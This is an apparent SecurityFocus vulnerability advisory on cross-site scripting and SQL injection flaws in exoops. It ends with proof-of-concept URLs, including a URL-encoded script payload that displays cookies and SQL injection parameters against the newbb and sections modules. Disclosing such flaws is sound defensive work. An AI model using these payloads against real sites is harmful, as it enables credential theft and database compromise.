source: http://www.securityfocus.com/bid/12915/info

Multiple input validation vulnerabilities reportedly affect exoops. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. 

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Pops cookie
http://www.example.com/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EPops cookie
http://www.example.com/modules/newbb/index.php?viewcat='SQL_INJECTION
http://www.example.com/modules/sections/index.php?op=viewarticle&artid=9%2c+9%2c+9 